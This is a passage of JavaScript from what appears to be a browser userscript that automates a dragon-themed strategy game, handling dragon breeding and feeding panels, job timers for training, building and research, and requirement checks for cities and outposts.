				document.getElementById(UID['tabJobSanct_dragonid_F']).addEventListener('change', dragonChanged, false);
				document.getElementById(UID['tabJobSanct_breed']).addEventListener('click', onClickBreed, false);
				if (Data.options.sanctuary.male_id && Data.options.sanctuary.male_id != '0')
					document.getElementById(UID['tabJobSanct_maleInfos']).innerHTML = dispStats(Seed.sanctuary_dragons[Data.options.sanctuary.male_id]);
				else document.getElementById(UID['tabJobSanct_maleInfos']).innerHTML = '&nbsp;';
				if (Data.options.sanctuary.female_id && Data.options.sanctuary.female_id != '0')
					document.getElementById(UID['tabJobSanct_femaleInfos']).innerHTML = dispStats(Seed.sanctuary_dragons[Data.options.sanctuary.female_id]);
				else document.getElementById(UID['tabJobSanct_femaleInfos']).innerHTML = '&nbsp;';
				setBreedButton();

				function checkBreedPossible() {
					/* if already breeding, can't breed again */
					var is_breeding = false,
						can_breed = false,
						count = 0;
					var jobs = Jobs.getJobs('breeding', true, -1);
					if (jobs && jobs.length > 0) is_breeding = true;
					/* if no available nest, breeding button is disabled */
					var avail_nests = Buildings.getCount(CAPITAL.id, 'Nest'),
						used_nests = 0;
					for (var i in Seed.sanctuary_dragons) {
						var dragon = Seed.sanctuary_dragons[i];
						if (getBuildingById(CAPITAL.id, dragon.building_id).toLowerCase() == 'nest') used_nests++;
						if (dragon.gender != '' && !is_null(dragon.abilities)) count++; /* Do not count GD and OP dragons. Only sanctuary dragons */
					}
					if ((avail_nests - used_nests) > 0 && count < Seed.sanctuary_dragons.player_slots) can_breed = true;
					else can_breed = false;
					if (!is_breeding && can_breed) return true;
					else return false;
				}

				function dispStats(obj) {
					var m = '<table width=100%>' + '	<tr valign=top>' + '		<td width=30%><label>' + translate('Level') + '</label></td>' + '		<td width=70%><label>' + obj.level + '</label></td>' + '	</tr>' + '	<tr valign=top>' + '		<td width=30%><label>' + translate('Capacity') + '</label></td>' + '		<td width=70%>';
					if (!obj.abilities || obj.abilities.length == 0) m += '&nbsp;</td></tr>';
					else {
						m += '<table width=100%>';
						for (var a = 0; a < obj.abilities.length; a++) {
							var name = translateByKey('name', obj.abilities[a].name.replace(/ |_/g, '-'), 'boosts') + ' ' + obj.abilities[a].level;
							var desc = translateByKey('description', obj.abilities[a].name.replace(/ |_/g, '-'), 'boosts');
							var rate = ((obj.abilities[a].rate < 1) ? numf(obj.abilities[a].rate * 100) + '%' : numf(obj.abilities[a].rate));
							if (desc.indexOf('n%') > 0)
								desc = desc.substring(0, desc.indexOf('n%')) + rate + desc.substring(desc.indexOf('n%') + 2);
							if (desc.indexOf('%boost%') > 0)
								desc = desc.substring(0, desc.indexOf('%boost%')) + rate + desc.substring(desc.indexOf('%boost%') + 7);
							m += '<tr title="' + desc + '"><td><span class=jewel>' + name + '</span></td></tr>';
						}
						m += '</table></td></tr>';
					}
					m += '</table>';
					return m;
				}

				function dragonSelect(id, gender) {
					var found = false,
						dragons = [];
					var m = '<select id="' + setUID('tabJobSanct_dragonid_' + gender) + '" ref=' + gender + '>';
					for (var i in Seed.sanctuary_dragons) {
						var dragon = Seed.sanctuary_dragons[i];
						if (dragon.gender && dragon.gender != null && dragon.gender == ((gender == 'M') ? 'male' : 'female') && dragon.level >= 8) dragons.push(dragon);
					}
					for (var d = 0; d < dragons.length; d++) {
						var selected = '';
						if (dragons[d].id == id) {
							selected = 'selected';
							found = true;
						}
						m += '<option value="' + dragons[d].id + '" ' + selected + '>' + translateByKey(dragons[d].subtype, 'rank-' + dragons[d].type, 'dragons') + '</option>';
					}
					if (!found) selected = 'selected';
					else selected = '';
					m += '<option value="0" ' + selected + '>' + translate('None') + '</option>';
					m += '</select>';
					return m;
				}

				function dragonChanged(event) {
					var id = event.target.id;
					var gender = event.target.getAttribute('ref');
					var sel = document.getElementById(id);
					var value = nvl(sel.value, '0');
					sel.value = value;
					if (gender == 'M') {
						var stats = document.getElementById(UID['tabJobSanct_maleInfos']);
						Data.options.sanctuary.male_id = value;
					} else {
						var stats = document.getElementById(UID['tabJobSanct_femaleInfos']);
						Data.options.sanctuary.female_id = value;
					}
					if (value == '0') {
						stats.innerHTML = '&nbsp;';
						setButtonStyle(document.getElementById(UID['tabJobSanct_breed']), false);
					} else {
						stats.innerHTML = dispStats(Seed.sanctuary_dragons[value]);
						setBreedButton();
					}
				}

				function setBreedButton() {
					var can_breed = checkBreedPossible();
					if (can_breed) {
						if (Data.options.sanctuary.male_id && Data.options.sanctuary.male_id != '0' && Data.options.sanctuary.female_id && Data.options.sanctuary.female_id != '0') {
							setButtonStyle(document.getElementById(UID['tabJobSanct_breed']), true);
						} else {
							setButtonStyle(document.getElementById(UID['tabJobSanct_breed']), false);
						}
					} else setButtonStyle(document.getElementById(UID['tabJobSanct_breed']), false);
				}

				function onClickBreed() {
					var t = Tabs.Jobs;
					var can_breed = checkBreedPossible();
					if (can_breed && Data.options.sanctuary.male_id && Data.options.sanctuary.male_id != '0' && Data.options.sanctuary.female_id && Data.options.sanctuary.female_id != '0') {
						var male = translateByKey(Seed.sanctuary_dragons[Data.options.sanctuary.male_id].subtype, 'rank-' + Seed.sanctuary_dragons[Data.options.sanctuary.male_id].type, 'dragons');
						var female = translateByKey(Seed.sanctuary_dragons[Data.options.sanctuary.female_id].subtype, 'rank-' + Seed.sanctuary_dragons[Data.options.sanctuary.female_id].type, 'dragons');
						var msg = translate('dragonden-breed-dragon') + ': ' + male + ' + ' + female;
						if (t.contentType == 5) t.jobFeedback(msg);
						MyAjax.dragonBreeding(Data.options.sanctuary.male_id, Data.options.sanctuary.female_id, function(rslt) {
							if (rslt.ok) {
								actionLog(msg);
								setButtonStyle(document.getElementById(UID['tabJobSanct_breed']), false);
							} else {
								verboseLog(translate('Error') + ' ' + translate('dragonden-breed-dragon') + ': ' + rslt.errmsg);
								actionLog('<B>' + translate('Error') + ' ' + translate('dragonden-breed-dragon') + '</B>: ' + rslt.errmsg);
								if (t.contentType == 5) t.jobFeedback(translate('Error') + ' ' + translate('dragonden-breed-dragon') + ': ' + rslt.errmsg);
							}
						});
					} else {
						setButtonStyle(document.getElementById(UID['tabJobSanct_breed']), false);
						if (!can_breed)
							if (t.contentType == 5) t.jobFeedback(translate('No nest available for new egg'));
							else
						if (t.contentType == 5) t.jobFeedback(translate('No great dragon defined'));
					}
				}
			},

			/*** Jobs Tab - Sanctuary Sub-tab  - Dragons feeding Sub-Sub-tab ***/
			tabJobSanctFeeding: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID['tabJobSanct_tabDragons']).className = '';
				document.getElementById(UID['tabJobSanct_tabDragons']).style.zIndex = 0;
				document.getElementById(UID['tabJobSanct_tabBreeding']).className = '';
				document.getElementById(UID['tabJobSanct_tabBreeding']).style.zIndex = 0;
				document.getElementById(UID['tabJobSanct_tabFeeding']).className = 'selected';
				document.getElementById(UID['tabJobSanct_tabFeeding']).style.zIndex = 1;

				t.sanctContentType = 2;
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' + '<div class=' + UID['subtitle'] + '>' + translate('upgrading-dragon') + '</div>' + '	<table class=' + UID['row_style'] + ' width=100%>';
				var checkBoxs = [];
				for (var id in Data.options.sanctuary.feeding) {
					var setting = Data.options.sanctuary.feeding[id];
					/* Clean data.options.sanctuary.feeding of all missing dragons */
					if (!Seed.sanctuary_dragons[id]) {
						delete(Data.options.sanctuary.feeding[id]);
						continue;
					}
					
					var dragon = Seed.sanctuary_dragons[id];
					var max_level = (Seed.requirements.dragon.feeding.level.length - 1 || 11);
					
					if (is_null(dragon.abilities) || dragon.level < 1) continue;
					
					if(!Data.options.sanctuary.hideDrgMaxLevel || dragon.level < max_level) {
						m += '	<tr valign=top>' + '			<td align=left width=35%><input type=checkbox id=' + setUID('tabJobFeeding_CB_' + id) + ' ' + (setting.enable ? 'checked' : '') + ' ref=' + id + ' /> ' + translate(translateByKey(dragon.subtype, 'rank-' + dragon.type, 'dragons')) + '			<br><div id=' + setUID('tabJobFeeding_FB_' + id) + ' class=jewel valign=top style="width:100%;white-space:normal;"></div>' + '			</td>' + '			<td width=10%><label>' + translate(dragon.gender) + '</label></td>' + '			<td width=5%><label>' + dragon.level + '</label></td>' + '			<td>';
						
						if (dragon.level < max_level) {
							m += '	<td with=5%>' + '		<select id=' + setUID('tabJobFeeding_Sel_' + id) + ' ref=' + id + '>';
							for (var lvl = 0; lvl <= max_level; lvl++)
								m += '<option value=' + lvl + (dragon.level > lvl ? ' style="display:none;"' : '') + '>' + lvl + '</option>';
							m += '	</select>' + '		</td>';
							checkBoxs.push(UID['tabJobFeeding_CB_' + id]);
						} else {
							m += '	<td with=5%>Max</td>';
						}
						m += '		<td width=45%>' + dispAbility(dragon.abilities) + '</td>';
					}
				}
				m += '</table></div></div>';

				document.getElementById(UID['tabJobSanct_Content']).innerHTML = m;
				for (var i = 0; i < checkBoxs.length; ++i) {
					document.getElementById(checkBoxs[i]).addEventListener('click', checkedDragon, false);
					document.getElementById(checkBoxs[i]).addEventListener('change', checkedDragon, false);
					var id = toNum(document.getElementById(checkBoxs[i]).getAttribute('ref'));
					var selectMenu = document.getElementById(UID['tabJobFeeding_Sel_' + id]);
					if (selectMenu) {
						try {
							if (!Data.options.sanctuary.feeding[id]) {
								var currentDragonLevel = Seed.sanctuary_dragons[id].level;
								selectMenu.selectedIndex = currentDragonLevel;
								Data.options.sanctuary.feeding[id].cap = currentDragonLevel;
							} else {
								selectMenu.selectedIndex = Data.options.sanctuary.feeding[id].cap;
								selectMenu.options[Data.options.sanctuary.feeding[id].cap].selected = true;
								if (Data.options.sanctuary.feeding[n].enable) t.checkFeedingReqs(id);
							}
						} catch (e) {}
						selectMenu.addEventListener('change', changeFeedingCap, false);
					}
				}

				function changeFeedingCap(event) {
					var t = Tabs.Jobs;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.sanctuary.feeding[n].cap = event.target[event.target.selectedIndex].value;
					event.target.style.backgroundColor = '';
					if (Data.options.sanctuary.feeding[n].enable) t.checkFeedingReqs(n);
					if (Data.options.sanctuary.enabled) t.feedingTick();
				}

				function checkedDragon(event) {
					var t = Tabs.Jobs;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.sanctuary.feeding[n].enable = event.target.checked;
					if (Data.options.sanctuary.feeding[n].enable) t.checkFeedingReqs(n);
					if (Data.options.sanctuary.enabled) t.feedingTick();
				}

				function dispAbility(obj) {
					if (!obj || obj.length == 0) return '&nbsp;';
					var m = '<table width=100%>';
					for (var a = 0; a < obj.length; a++) {
						var name = translateByKey('name', obj[a].name.replace(/ |_/g, '-'), 'boosts') + ' ' + obj[a].level;
						var desc = translateByKey('description', obj[a].name.replace(/ |_/g, '-'), 'boosts');
						var rate = ((obj[a].rate < 1) ? numf(obj[a].rate * 100) + '%' : numf(obj[a].rate));
						if (desc.indexOf('n%') > 0)
							desc = desc.substring(0, desc.indexOf('n%')) + rate + desc.substring(desc.indexOf('n%') + 2);
						if (desc.indexOf('%boost%') > 0)
							desc = desc.substring(0, desc.indexOf('%boost%')) + rate + desc.substring(desc.indexOf('%boost%') + 7);
						m += '<tr title="' + desc + '"><td><span class=jewel>' + name + '</span></td></tr>';
					}
					m += '</table>';
					return m;
				}
			},


			setTrainEnable: function(onOff) {
				var t = Tabs.Jobs;
				t.refreshTrainButton(onOff);
				Data.options.training.enabled = onOff;
				clearTimeout(t.trainTimer);
				if (onOff) t.trainTimer = setTimeout(t.trainTick, 3000);
				else t.jobFeedback("");
			},
			setForgeMissionEnable: function(onOff) {
				var t = Tabs.Jobs;
				t.refreshForgeButton(onOff);
				Data.options.forge.enableAutoMission = onOff;
				clearTimeout(t.forgeTimer);
				if (onOff) {
					t.forgeTimer = setInterval(t.missionForgeTick, 3000);
					t.runningForge.start_at = serverTime();
					Data.stats.forgeAdv.start_at = serverTime();
					
				} else {
					if (t.runningForge.start_at !== 0) {
						Data.stats.forgeAdv.run_time += (serverTime() - t.runningForge.start_at);
					}
				}
			},
			setBuildEnable: function(onOff) {
				var t = Tabs.Jobs;
				t.refreshBuildButton(onOff);
				Data.options.building.enabled = onOff;
				clearTimeout(t.buildTimer);
				if (onOff) {
					t.buildRetryTime = 20000;
					t.buildTimer = setTimeout(t.buildTick, 3000);
				} else t.jobFeedback("");
			},
			setResearchEnable: function(onOff) {
				var t = Tabs.Jobs;
				t.refreshResearchButton(onOff);
				Data.options.research.enabled = onOff;
				clearTimeout(t.researchTimer);
				if (onOff) {
					t.resRetryTime = 20000;
					t.researchTimer = setTimeout(t.researchTick, 3000);
				} else t.jobFeedback("");
			},
			setResurrectEnable: function(onOff) {
				var t = Tabs.Jobs;
				t.refreshResurrectButton(onOff);
				Data.options.resurrect.enabled = onOff;
				clearTimeout(t.resurrectTimer);
				if (onOff) {
					t.revRetryTime = 20000;
					t.resurrectTimer = setTimeout(t.resurrectTick, 3000);
				} else t.jobFeedback("");
			},
			setFeedingEnable: function(onOff) {
				var t = Tabs.Jobs;
				t.refreshFeedingButton(onOff);
				Data.options.sanctuary.enabled = onOff;
				clearTimeout(t.sanctuaryTimer);
				if (onOff) {
					t.feedRetryTime = 20000;
					t.sanctuaryTimer = setTimeout(t.feedingTick, 3000);
				} else t.jobFeedback("");
			},

			refreshTrainButton: function(onOff) {
				var t = Tabs.Jobs;
				var but = document.getElementById(UID['tabJobTrain_OnOff']);
				if (!but) return;
				if (onOff) {
					but.value = translate('Training').toUpperCase();
					but.className = UID['btn_on'];
				} else {
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
				}
			},
			refreshForgeButton: function(onOff) {
				var t = Tabs.Jobs;
				var but = document.getElementById(UID['tabJobForge_OnOff']);
				if (!but) return;
				if (onOff) {
					but.value = translate('filter-adventuring').toUpperCase();
					but.className = UID['btn_on'];
				} else {
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
				}
			},
			refreshBuildButton: function(onOff) {
				var t = Tabs.Jobs;
				var but = document.getElementById(UID['tabJobBuild_OnOff']);
				if (!but) return;
				if (onOff) {
					but.value = translate('Building').toUpperCase();
					but.className = UID['btn_on'];
				} else {
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
				}
			},
			refreshResearchButton: function(onOff) {
				var t = Tabs.Jobs;
				var but = document.getElementById(UID['tabJobResearch_OnOff']);
				if (!but) return;
				if (onOff) {
					but.value = translate('Researching').toUpperCase();
					but.className = UID['btn_on'];
				} else {
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
				}
			},
			refreshResurrectButton: function(onOff) {
				var t = Tabs.Jobs;
				var but = document.getElementById(UID['tabJobResurrect_OnOff']);
				if (!but) return;
				if (onOff) {
					but.value = translate('Reviving').toUpperCase();
					but.className = UID['btn_on'];
				} else {
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
				}
			},
			refreshFeedingButton: function(onOff) {
				var t = Tabs.Jobs;
				var but = document.getElementById(UID['tabJobSanctFeeding_OnOff']);
				if (!but) return;
				if (onOff) {
					but.value = translate('Upgrade').toUpperCase();
					but.className = UID['btn_on'];
				} else {
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
				}
			},

			dragonStatTick: function() {
				var t = Tabs.Jobs;
				var statElement = $(UID['tabJobDragon_Table']);
				if (statElement != null) {
					Jobs.updateDragonTable(statElement);
				}				
			},
			trainStatTick: function() {
				var t = Tabs.Jobs,
					unitType = all_unit_types;
				var statElement = document.getElementById(UID['tabJobTrain_Table']);
				if (statElement != null) Jobs.updateTrainTable(statElement, 'units');
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx] && cityIdx >= 0 && cityIdx < Seed.cities.length && cityIdx != SPECTRAL_OUTPOST.id && cityIdx != SKY_OUTPOST.id && cityIdx != LUNA_OUTPOST.id) {
						if (t.contentType == 1 && t.trainContentType == 0) {
							for (var uid = 0; uid < unitType.length; uid++) {
								if (!isTrainable(cityIdx, unitType[uid])) continue;
								var unitQty = Data.options.training.city[cityIdx].units[uid];
								var butTrainNow = document.getElementById(UID['tabTrain_Now_' + cityIdx + '_' + uid]);
								if (toNum(unitQty) > 0) {
									var reqs = t.checkTrainReqs(unitType[uid], unitQty, cityIdx);
									if (!reqs.msg) setButtonStyle(butTrainNow, true, 'btn_green');
									else setButtonStyle(butTrainNow, false, 'btn_green');
								} else setButtonStyle(butTrainNow, false, 'btn_green');
							}
						}
					}
				}
			},
			tradeStatTick: function() {
				var t = Tabs.Jobs;
				var statElement = document.getElementById(UID['tabJobTrade_Table']);
				if (statElement != null) {
					Jobs.updateTradeTable(statElement);
				}				
			},
			resurrectStatTick: function() {
				var t = Tabs.Jobs;
				var statElement = document.getElementById(UID['tabJobResurrect_Table']);
				if (statElement != null) Jobs.updateTrainTable(statElement, 'resurrection', true);
			},
			sanctStatTick: function() {
				var t = Tabs.Jobs;
				var statElement = document.getElementById(UID['tabJobSanct_TableJobs']);
				if (statElement != null) Jobs.updateSanctuaryTable(statElement);

				if (t.contentType == 5 && t.sanctContentType == 2) {
					for (var id in Data.options.sanctuary.feeding) {
						if (Data.options.sanctuary.feeding[id].enable) t.checkFeedingReqs(id);
						else
							try {
								document.getElementById(UID['tabJobFeeding_FB_' + id]).innerHTML = '';
							} catch (e) {}
					}
				}
			},
			buildStatFetch: false,
			buildStatTick: function() {
				var t = Tabs.Jobs;
				if (t.buildRefreshLvl) return;
				var statElement = document.getElementById(UID['tabJobBuild_Table']);
				if (statElement != null) Jobs.updateBuildTable(statElement);

				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx]) {
						/* Refresh building reqs */
						if (t.contentType == 2) {
							if (t.buildRefreshTab)
								setTimeout(function() {
									t.buildRefreshTab = false;
									t.tabJobBuild();
								}, 1000);
							else {
								var buildList;
								switch (cityIdx) {
									case CAPITAL.id:
										buildList = capital_buildings.concat(field_buildings);
										break;
									case SPECTRAL_OUTPOST.id:
										buildList = spectral_buildings.concat(spectral_fields);
										break;
									case SKY_OUTPOST.id:
										buildList = skythrone_buildings;
										break;
									case CAVE_OUTPOST.id:
										buildList = cave_buildings;
										break;
									case LUNA_OUTPOST.id:
										buildList = luna_buildings;
										break;
									case COLOSSUS_OUTPOST.id:
										buildList = colossus_buildings;
										break;
									default:
										buildList = outpost_buildings.concat(field_buildings);
										break;
								}
								for (var i = 0; i < buildList.length; ++i) {
									if (Data.options.building.level_enable[cityIdx][buildList[i]])
										t.checkBuildReqs(cityIdx, buildList[i]);
								}
							}
						}
					}
				}
			},
			forgeStatTick: function() {
				var t = Tabs.Jobs;
				var statElement = document.getElementById(UID['tabJobForge_Table']);
				if (statElement != null) {
					Jobs.updateForgeTable(statElement);
					if(t.forgeContentType == 0) {
						var advs = Seed.player.forge.adventurers;
						for(var i=0;i<advs.length;i++) {
							var inMission=(Jobs.getJobs(Forge.data.adventurers[advs[i].type].queue, false, -1).length > 0 ? true : false); 
							var isClaimable=(inMission ? false : (advs[i].current_mission == null ? false : true));
							
							setButtonStyle(UID['btnMissionAdvGo_'+advs[i].adventurer_id], (!inMission && !isClaimable));
							setButtonStyle(UID['btnMissionAdvClaim_'+advs[i].adventurer_id], isClaimable);
						}
					}
				}				
			},
			/* Build statistics - timer set to fire every 1 seconds */
			resStatFetch: false,
			researchStatTick: function() {
				var t = Tabs.Jobs;
				if (t.contentType == 3) {
					for (var id = 0; id < Seed.research.length; id++) {
						var resName = Seed.research[id];
						if (Data.options.research.res_enable[0][resName]) t.checkResearchReqs(resName);
						else
							try {
								document.getElementById(UID['tabJobResearch_FB_' + resName]).innerHTML = '';
							} catch (e) {}
					}
					var jobs = Jobs.getJobs('research', true, CAPITAL.id);
					if (jobs.length > 0) {
						try {
							document.getElementById(UID['tabJobResearch_FB_' + jobs[0].research_type]).innerHTML = '<font color=#000>' + translate('Researching') + '&nbsp;' + translate('Level').toLowerCase() + '&nbsp;' + jobs[0].level + '</font>';
						} catch (e) {}
					}
				}
				var statElement = document.getElementById(UID['tabJobResearch_Table']);
				if (statElement != null) Jobs.updateResearchTable(statElement);
			},

			jobFeedback: function(msg) {
				var t = Tabs.Jobs;
				var elementId = '';
				switch (t.contentType) {
					case 0:
						break;
					case 1:
						elementId = 'tabJobTrain_Feedback';
						break;
					case 2:
						elementId = 'tabJobBuild_Feedback';
						break;
					case 3:
						elementId = 'tabJobResearch_Feedback';
						break;
					case 4:
						elementId = 'tabJobResurrect_Feedback';
						break;
					case 5:
						elementId = 'tabJobSanct_Feedback';
						break;
					case 8:
						elementId = 'tabJobForge_Feedback';
						break;
				}
				if (elementId) dispFeedback(UID[elementId], msg);
			},

			getCurrentResearchLevel: function(researchType) {
				var t = Tabs.Jobs,
					level = 0;
				try {
					if (researchType == 'Rapid Deployment') researchType = 'RapidDeployment';
					if (researchType == 'Weapons Calibration') researchType = 'Ballistics';
					if (researchType == 'Aerial Combat') researchType = 'AerialCombat';
					level = (Seed.player.research[researchType]) ? Seed.player.research[researchType] : 0;
				} catch (e) {}
				return level;
			},
			getTroopCap: function(troopType, qty) {
				var t = Tabs.Jobs;
				var cap = 0;
				var completedTroops = 0;
				var defenseTroops = 0;
				var marchingTroops = 0;
				var trainingTroops = 0;

				/* Get the cap set for this troop type */
				for (var i = 0; i < all_unit_types.length; i++) {
					if (troopType == all_unit_types[i]) {
						cap = Data.options.training.city[0].cap[i];
						break;
					}
				}
				/* If there is no cap, we are done */
				if (cap == 0) return cap;

				/* Find the number of troops still in the city */
				completedTroops += (Seed.cities[CAPITAL.id].units[troopType] != undefined) ? Seed.cities[CAPITAL.id].units[troopType] : 0;
				/* Find the number of troops present in defense forces */
				if (Seed.cities[CAPITAL.id].defense_force && Seed.cities[CAPITAL.id].defense_force[troopType])
					defenseTroops += (Seed.cities[CAPITAL.id].defense_force[troopType] != undefined) ? Seed.cities[CAPITAL.id].defense_force[troopType] : 0;

				/* Find additional troops in marches */
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
					for (var id in Data.marches[type]) {
						var march = (Data.marches[type])[id];
						for (var q in march.units) {
							if (q == troopType) marchingTroops += march.units[q];
						}
					}
				}
				var now = serverTime();
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx] && Seed.cities[cityIdx].jobs) {
						var jobs = Seed.cities[cityIdx].jobs;
						for (var j = 0; j < jobs.length; j++) {
							if (jobs[j].queue == 'units' && jobs[j].unit_type == troopType && jobs[j].run_at > now)
								trainingTroops += jobs[j].quantity;
						}
					}
				}
				return ((completedTroops + defenseTroops + marchingTroops + trainingTroops + qty) > cap) ? (completedTroops + defenseTroops + marchingTroops + trainingTroops + qty) : 0;
			},
			getBuildingCap: function(cityIdx, buildingType) {
				var t = Tabs.Jobs;
				var cap = 0;

				var cityType;
				switch (cityIdx) {
					case CAPITAL.id:
						cityType = capital_buildings.concat(field_buildings);
						break;
					case SPECTRAL_OUTPOST.id:
						cityType = spectral_buildings.concat(spectral_fields);
						break;
					case SKY_OUTPOST.id:
						cityType = skythrone_buildings;
						break;
					case CAVE_OUTPOST.id:
						cityType = cave_buildings;
						break;
					case LUNA_OUTPOST.id:
						cityType = luna_buildings;
						break;
					case COLOSSUS_OUTPOST.id:
						cityType = colossus_buildings;
						break;
					default:
						cityType = outpost_buildings.concat(field_buildings);
						break;
				}
				for (var i = 0; i < cityType.length; ++i) {
					if (cityType[i] == buildingType) {
						try {
							cap = (Data.options.building.level_cap[cityIdx][i]) ? Data.options.building.level_cap[cityIdx][i] : 0;
							break;
						} catch (e) {}
					}
				}
				return cap;
			},
			getResearchCap: function(researchType) {
				var t = Tabs.Jobs;
				var cap = 0;

				for (var id = 0; id < Seed.research.length; id++) {
					var resName = Seed.research[id];
					if (researchType == resName) {
						try {
							cap = (Data.options.research.res_cap[0][resName]) ? Data.options.research.res_cap[0][resName] : 0;
							break;
						} catch (e) {}
					}
				}
				return cap;
			},
			resUITranslate: function(researchType) {
				var t = Tabs.Jobs;
				for (var id = 0; id < Seed.research.length ; id++) {
					if (Seed.research[id] == researchType) return Seed.research[id];
				}
				return researchType;
			},
			getBuildingLevel: function(cityIdx, buildingType, buildingLevel) {
				var buildings = Seed.cities[cityIdx].buildings;
				var ret = 0;
				for (var p = 0; p < buildings.length; p++) {
					if (buildings[p].type == buildingType && buildings[p].level >= buildingLevel) {
						ret = buildings[p].level;
						break;
					}
				}
				return ret;
			},
			getRemainingQueue: function(ic, queueType, resurrect) {
				var city = Seed.cities[ic];
				var jobs = city.jobs;
				var maxQueueLength = (resurrect) ? city.figures.queue_lengths.resurrection : city.figures.queue_lengths.units;
				var usedQueue = 0;
				if (isNaN(maxQueueLength) || !maxQueueLength) return 0;
				for (var i = 0; i < jobs.length; i++) {
					if (jobs[i].queue == queueType)
					++usedQueue;
				}
				return maxQueueLength - usedQueue;
			},

			checkRequirements: function(options) {
				var t = Tabs.Jobs;
				var reqs = {};

				/* options.unit_type and options.training_type are the same, */
				/* we can use either interchangeably */
				var element_type = options.unit_type ||
					options.training_type ||
					options.building_type ||
					options.research_type ||
					options.sanctuary_type;
				/* if omitted options.city_idx, use the capital, city_idx = 0 */
				/* this value is only used by requirements.buildings case */
				var city_idx = options.city_idx || CAPITAL.id;
				 
				var typeCity = '';
				switch (city_idx) {
					case CAPITAL.id:
						typeCity = CAPITAL.type;
						break;
					case WATER_OUTPOST.id:
						typeCity = WATER_OUTPOST.type;
						break;
					case STONE_OUTPOST.id:
						typeCity = STONE_OUTPOST.type;
						break;
					case FIRE_OUTPOST.id:
						typeCity = FIRE_OUTPOST.type;
						break;
					case WIND_OUTPOST.id:
						typeCity = WIND_OUTPOST.type;
						break;
					case SPECTRAL_OUTPOST.id:
						typeCity = SPECTRAL_OUTPOST.type;
						break;
					case ICE_OUTPOST.id:
						typeCity = ICE_OUTPOST.type;
						break;
					case SWAMP_OUTPOST.id:
						typeCity = SWAMP_OUTPOST.type;
						break;
					case FOREST_OUTPOST.id:
						typeCity = FOREST_OUTPOST.type;
						break;
					case DESERT_OUTPOST.id:
						typeCity = DESERT_OUTPOST.type;
						break;
					case CHRONO_OUTPOST.id:
						typeCity = CHRONO_OUTPOST.type;
						break;
					case SKY_OUTPOST.id:
						typeCity = SKY_OUTPOST.type;
						break;
					case CAVE_OUTPOST.id:
						typeCity = CAVE_OUTPOST.type;
						break;
					case LUNA_OUTPOST.id:
						typeCity = LUNA_OUTPOST.type;
						break;
					case COLOSSUS_OUTPOST.id:
						typeCity = COLOSSUS_OUTPOST.type;
						break;
				}
				var requirements = {};
				/* Change of Kabam, now requirement for units 
				 * are for city/outpost not a single requirement
				 * for all
				 */
				if(options.reqs_type == 'unit') {
					/* take the default one */
					requirements = Seed.requirements[options.reqs_type][element_type].default;
					if(Seed.requirements[options.reqs_type][element_type][typeCity]) {
						/* take the specific one for the capital/outpost if exist */
						requirements = Seed.requirements[options.reqs_type][element_type][typeCity];
					}
				}
				else {
					requirements = Seed.requirements[options.reqs_type][element_type];
				}
				var stats = Seed.stats[options.reqs_type][element_type];

				/* in case of level */
				if (typeof(options.level) !== 'undefined') {
					requirements = requirements.level[options.level];
					stats = stats.level[options.level];
				}
				/*
				 * always use the capital data to verify the resources and the
				 * population
				 */
				var city = Seed.cities[CAPITAL.id];
				/*
				 * If we are verifying unit requirements, initialize the
				 * variable max_units
				 */
				if (options.unit_type || options.reqs_type == 'units') {
					reqs.max_units = 999999999;
					/* Check that unit is trainable for the concerned city */
					var trainable = isTrainable(options.city_idx, options.unit_type);
					if (!trainable) {
						reqs.msg = translate('Unit not trainable');
						return reqs;
					}
				}

				/* set Speed Multiplier for every case */
				var speed_multiplier = 1;
				/*
				 * For titans training time : By default training time is more
				 * than 5x the time in the manifest for titans
				 */
				/*
				 * During some events, training time for titans is divide by 5
				 * (so the time in the manifest)
				 */
				var stat_time = stats.time;
				switch (options.reqs_type) {
					case 'unit':
						/*
						 * Calculate speed_multiplier for the trainings based on
						 * garrisons / training camps of the city for which we
						 * check the training requirements
						 */
						speed_multiplier = 0;
						if (Seed.cities[city_idx] && city_idx != SPECTRAL_OUTPOST.id && city_idx != SKY_OUTPOST.id && city_idx != LUNA_OUTPOST.id) {
							var build_type = 'TrainingCamp';
							if (city_idx == CAVE_OUTPOST.id)
								build_type = 'CaveTrainingCamp';
							if (city_idx == CAPITAL.id)
								build_type = 'Garrison';

							var levels_count = 0,
								buildings_count = 0;
							for (var j = 0; j < Seed.cities[city_idx].buildings.length; j++) {
								if (Seed.cities[city_idx].buildings[j].type === build_type) {
									buildings_count++;
									levels_count += Seed.cities[city_idx].buildings[j].level;
								}
							}
							speed_multiplier = (buildings_count == 0) ? 0 : (buildings_count + ((levels_count - buildings_count) / 10));
						}
						if (city_idx == CAPITAL.id && (options.unit_type == 'BattleDragon' || options.unit_type == 'PackDragon' || options.unit_type == 'SwiftStrikeDragon')) {
							var rookery_multiplier = (Buildings.getLevel(CAPITAL.id, 'Rookery')).max;
							speed_multiplier *= (1 + (rookery_multiplier / 100));
						}
						if (city_idx == FOREST_OUTPOST.id && options.unit_type == 'Titan') stat_time = 52000;
						break;
					case 'building':
						speed_multiplier = city.figures.building.speed_multiplier;
						break;
				}

				/* Set time needed for this task */
				reqs.time = toNum(stat_time / speed_multiplier);

				/*
				 * when omitted options.unit_quantity, sets unit_quantity to 1
				 * to check the requirements of the buildings and research.
				 */
				var unit_quantity = options.unit_quantity || 1;

				/* Check Buildings requirements */
				if (requirements.buildings) {
					for (var type in requirements.buildings) {
						var fixed_type = type;
						/*
						 * we change the type of build Garrison to
						 * CaveTrainingCamp un case of CAVE_OUTPOST
						 */
						if (city_idx == CAVE_OUTPOST.id) fixed_type = 'CaveTrainingCamp';
